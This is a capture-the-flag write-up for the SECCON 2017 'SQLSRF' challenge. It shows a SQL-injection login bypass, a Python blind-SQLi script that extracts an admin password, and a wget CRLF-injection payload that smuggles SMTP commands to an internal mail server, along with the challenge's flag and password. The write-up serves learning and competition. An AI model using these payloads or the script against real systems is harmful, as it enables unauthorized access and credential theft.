Tags: ssrf crlfinjection wget sqlite sqlinjection blindsqli sqli sql 

Rating: 5.0

SQLSRF
======

The task is to send a mail to root with the subject "give me flag".
## The beginning

The given task address `http://sqlsrf.pwn.seccon.jp/sqlsrf/` greets us with a directory listing:

![directory listing](https://i.imgur.com/KTRPKMW.png)

Clicking `index.cgi` or `menu.cgi` redirects to the following login page:

![ekran logowania](https://i.imgur.com/xqstcwd.png)

The `index.cgi_backup20171129` file contains the login `index.cgi` script:

```
#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";

<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;
```

## Authentication bypass

The first thing to do here is probably to log in. The login script shows that the authentication is done by pulling the encrypted user password from the database and comparing it to the result of `encrypt(pass)`, where pass is the password parameter we supply in the login form.

The username form field is prone to SQL injection, which can be seen in the script and confirmed by sending a `'` username and getting a `Database Error!`.

Maybe it's possible to use the SQLi to directly execute our code (for example the `mail` command)? After a bit of googling, a code execution exploit can be found for example [here](http://resources.infosecinstitute.com/code-execution-and-privilege-escalation-databases/), but it requires stacked queries. Another bit of googling shows that the DBI SQLite driver doesn't allow stacked queries, so that's a no go. No other exploits can be easily found, so it's back to trying to log in.

One way to use SQLi to bypass the authorization here is to supply an arbitrary password - for example `'abc'`, and make the query return `encrypt('abc')`. If we can do that, then the authentication method described above will compare the `encrypt('abc')` "database" password we forced by SQLi with the result of `encrypt('abc')`, because we supply `'abc'` as password.

The SQLi part is easy - supplying `' UNION SELECT '{}'; --` as the username will result in the following query:

```
SELECT password FROM users WHERE username='' UNION SELECT '{}'; --';
```

which will return `{}`. All we have to do is find the value of `encrypt('abc')` and put it in place of `{}`.

The problem is that the `encrypt` function is supplied from a local file, so we don't know what kind of encryption it is. However, the script also shows that when we check the `Remember me` field and try to log in, the value of `encrypt(user)` (where user is the username parameter we supply in the login form) is stored in the `remember` cookie. Conversely, it can also be deducted that if we don't supply any username and the `remember` cookie is present, the value of `decrypt(cookie['remember'])` is shown in the username form field when the page reloads after clicking `Login`.

Therefore we have a simple way to encrypt and decrypt any string we like:
* encrypt(**s**): check the `Remember me` checkbox, put **s** in the username field, click `Login`, read the `remember` cookie
* decrypt(**s**): set the `remember` cookie to **s**, leave the form fields empty, click `Login`, read the username field value

Using the following method, we get that `encrypt('abc') = 'a37ad08a8b145d11edf2d82254be0b58'`. All that's left is to log in with the following credentials:

```
user = ' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --
pass = abc
```

And we're logged in:

![logged in](https://imgur.com/YXna5Kk.png)

## Gaining admin privileges

The first button on the page can be used to send the `netstat -tnl` command to the server and retrieve its output:

![logged in](https://imgur.com/SuTSS2U.png)

The services active on the server are HTTP, SSH and SMTP. From the outside, only HTTP and SSH can be seen as open, so the SMTP server is probably behind a firewall. Since our task is to send a mail, we probably have to find a way to communicate with this server.

Modifying the `cmd` parameter that contains the netsat command to try and insert another command instead of it, after it, or as its parametr yields no results. It appears that the server checks the command for string equality, so that's probably not exploitable.

The second button looks like it can be used to retrieve the results of a `wget` command in which we control the address. However, there's a warning saying that only a person with the username `'admin'` can use the button and the button is disabled.

First, let's check if the warning's not fake and the button being disabled isn't the only thing preventing us from using it. Unfortunately, neither making the button enabled and using it, nor altering the `cmd` and `args` form parameters in BurpSuite while sendig a request seem to give any results. The next step then seems to be to log in with the username `'admin'`.

The `authed_user` parameter, which probably determines our identity to the server, is stored in the session, server-side, so it's probably not possible to alter it after we log in. We also can't use our previous method to log in, because anything we put in the username form field is treated as our username to the server - so it has to be exactly `'admin'`.

It looks like we have to get the password for the `'admin'` user from the database. The passwords in the databases are stored encrypted, but thankfully we already have a method to decrypt any given string.

Since we don't get any output from the database returned to us, we have to use blind SQL injection to retrieve the password char-by-char. The first step is to find an action that depends on the SQL query and is observable, so we can check if it suceeded or not - get a binary response. Fortunately, we already have that action at hand - logging in!

Let's analyze this. First, it can be confirmed that the

```
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --
```

username parameter can be changed to

```
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin'; --
```

and it still works. But now, we can append an AND condition at the end of it and test if the condition is true or not. If it's true, we should log in successfully and if it's false we'll get a `Login Error!`. Let's confirm that this aproach works:

```
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin' AND 1=1; --
```
logs us in successfully, while
```
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin' AND 1=2; --
```
gets us the login error.

Now that we know that testing the condition works, we have to find a condition that we can use to retrieve the admin password. The `SUBSTR()` function can be used for that - we can use it to compare any character of the password to an arbitrary character. For example `SUBSTR(password, 10, 1)='a'` checks if the 10th character of the password is 'a'. The whole username paremeter should then become:

```
' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin' AND SUBSTR(password, {}, 1)='{}'; --
```

where we substitute the `{}`s with the position of the character in the password and the character we want to compare it against.

We can use the parameter above to brute-force the password. Outputs from the `encrypt()` function were 32 characters long, so the password should be the same size. So we have to check 32 password characters against 100 printable characters. That's at most 3200 requests - not too bad, and of course we can write the script so that it stops checking the current position after a matching character is found.

The following script gets us the encrypted password in under 3 minutes:

```{python}
import re
import requests
import string

ADDRESS = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
USERNAME_BASE = '\' UNION SELECT \'a37ad08a8b145d11edf2d82254be0b58\' from users where username=\'admin\' AND SUBSTR(password, {}, 1)=\'{}\';--'
PASSWORD_LENGTH = 32

def get_password_char(pos):
for char in string.printable:
data = {
'login': 'Login',
'user': USERNAME_BASE.format(str(pos), char),
'pass': 'abc',
}
r = requests.post(ADDRESS, data)

m = re.search(r'Login Error!', r.text)
print(char, 'logged' if not m else 'nope')

if not m:
return char

def brute_force_password():
password_chars = []
for i in range(1, 1 + PASSWORD_LENGTH):
next_char = get_password_char(i)
password_chars.append(next_char)
print(''.join(password_chars))

brute_force_password()
```

The encrypted password found by the script is `d2f37e101c0e76bcc90b5634a5510f64`. The only thing left is to decrypt the password using the `remember` cookie and log in as admin. The decrypted password is `Yes!Kusomon!!`, and we are logged in:

![admin logged in](https://imgur.com/wgQC15Z.png)

## Sending mail via wget

Now the `wget --debug -O /dev/stdout 'http://{}'` command becomes available and its output is shown on the page. Again, none of the command injection tricks work here, the *only* thing we control is the address in the wget command. We can't even modify the flags.

Googling `wget exploit` gets us two exploits from 2016 which lead to arbitrary write, and through it to code execution. Unfortunately, none of the two works with the `-O` flag that we have set.

Our task is still to send an email, so let's try inputting the address of our target SMTP server: `127.0.0.1:25`. We get the following response:

```
Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-11 01:41:39-- http://127.0.0.1:25/
Connecting to 127.0.0.1:25... connected.
Created socket 4.
Releasing 0x0000000001c70c20 (new refcount 0).
Deleting unused 0x0000000001c70c20.

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax
```

We see that the server tries to interpret each of the 5 lines of our HTTP request and it doesn't stop after encountering a bad command. This leads us to believe that if we had the ability to add arbitrary headers to the request, we could probably communicate with the server. Normally, to add headers to the requests in wget you have to set appropriate flags, which we can't do.

However, after next fair bit of googling, the following vulnerability can be found: http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html. As it turns out, there's a bug in wget's url escaping, which makes the host part of the url prone to CRLF injection and in turn allows us to set arbitrary headers on the request.

However, after trying out the exploit on a test value, we get the following result:

```
Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
http://127.0.0.1:25%0d0atest/: Bad port number.
```

It looks like the exploit in its current form doesn't work well with an address with a specified port. Fortunately we can move the port part to the end of the string and it works - `127.0.0.1%0d%0atest:25/` gives us:

```
Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-11 01:50:58-- http://127.0.0.1%0D%0Atest:25/
Resolving 127.0.0.1\r\ntest (127.0.0.1\r\ntest)... 127.0.0.1
Caching 127.0.0.1
test => 127.0.0.1
Connecting to 127.0.0.1
test (127.0.0.1
test)|127.0.0.1|:25... connected.
Created socket 4.
Releasing 0x0000000001b59c60 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1
test:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax
```

The server now tries to interpret 6 commands, so it looks like it received our `test` command. So now we have to find out how the SMTP protocol works, write a minimal example that sends an email to root, with our mail set as the sender and subject set to `'give me flag'`. Analyzing the first google result leaves us with:

```
HELO towca
MAIL FROM:<[email protected]>
RCPT TO:<root>
DATA
Subject: give me flag

abc
.
```

This sequence of commands should make the server send an email to `root` from `[email protected]` with the subject `'give me flag'` and the body `'abc'`.

Now all we have to do is take the text above, add additional newlines at the beginning and at the end, and pass it through an url-encoder (url-encoding turns all newlines into %0d%0a). Then, place the resulting string between `127.0.0.1` and `:25/`. So in the end, we have to send:

```
127.0.0.1%0D%0AHELO%20towca%0D%0AMAIL%20FROM%3A%3Cmy_mail%40gmail.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A:25/
```

This gives us the following output:

```
Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-11 04:59:17-- http://[127.0.0.1%0D%0Ahelo%20towca%0D%0Amail%20from:%3Cmy_mail%40gmail.com%3E%0D%0Arcpt%20to:%3Croot%3E%0D%0Adata%0D%0Asubject:%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A]:25/
Resolving 127.0.0.1\r\nhelo towca\r\nmail from:<[email protected]>\r\nrcpt to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n (127.0.0.1\r\nhelo towca\r\nmail from:<[email protected]>\r\nrcpt to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n)... 127.0.0.1
Caching 127.0.0.1
helo towca
mail from:<[email protected]>
rcpt to:<root>
data
subject: give me flag

abc
.
=> 127.0.0.1
Connecting to 127.0.0.1
helo towca
mail from:<[email protected]>
rcpt to:<root>
data
subject: give me flag

abc
.
(127.0.0.1
helo towca
mail from:<[email protected]>
rcpt to:<root>
data
subject: give me flag

abc
.
)|127.0.0.1|:25... connected.
Created socket 4.
Releasing 0x00000000010e1ec0 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: [127.0.0.1
helo towca
mail from:<[email protected]>
rcpt to:<root>
data
subject: give me flag

abc
.
]:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
200 No headers, assuming HTTP/0.9
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
250 ymzk01.pwn
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 6B85326633
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
500 5.5.2 Error: bad syntax
```

As we can see, our commands were sent in the headers, and the server's `250 2.0.0 Ok: queued as 6B85326633` response means that everything went according to plan. After checking `[email protected]`, we get the following email:

```
Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19
```

Even though the encrypted string here is twice as long as the previous outputs from the `encrypt()` function, when we use the `remember` cookie to decrypt it, we finally get the flag:

```
SECCON{SSRFisMyFriend!}
```

Original writeup (https://hackmd.io/s/S19dfxoWM).